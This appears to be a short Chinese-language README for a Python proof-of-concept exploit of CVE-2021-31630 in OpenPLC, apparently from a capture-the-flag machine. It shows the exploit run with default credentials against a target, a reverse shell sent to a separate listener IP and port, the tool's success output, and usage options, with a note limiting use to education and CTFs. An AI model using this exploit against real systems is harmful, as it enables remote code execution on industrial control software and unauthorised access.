
使用 Python3 编写并采用非阻塞模式 C 反向 Shell 的 CVE-2021-31630 POC 漏洞利用
此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。
└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.
python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>
选项:
--url - OpenPLC 的 URL--username - 用户名--password - 密码--listenerip - 监听器的 IP 地址--listenerport - 监听器的端口注意: 此漏洞利用仅作为 PoC 创建;请仅将其用于教育目的或 CTF 赛事 - https://flojboj.org/article/WifineticTwo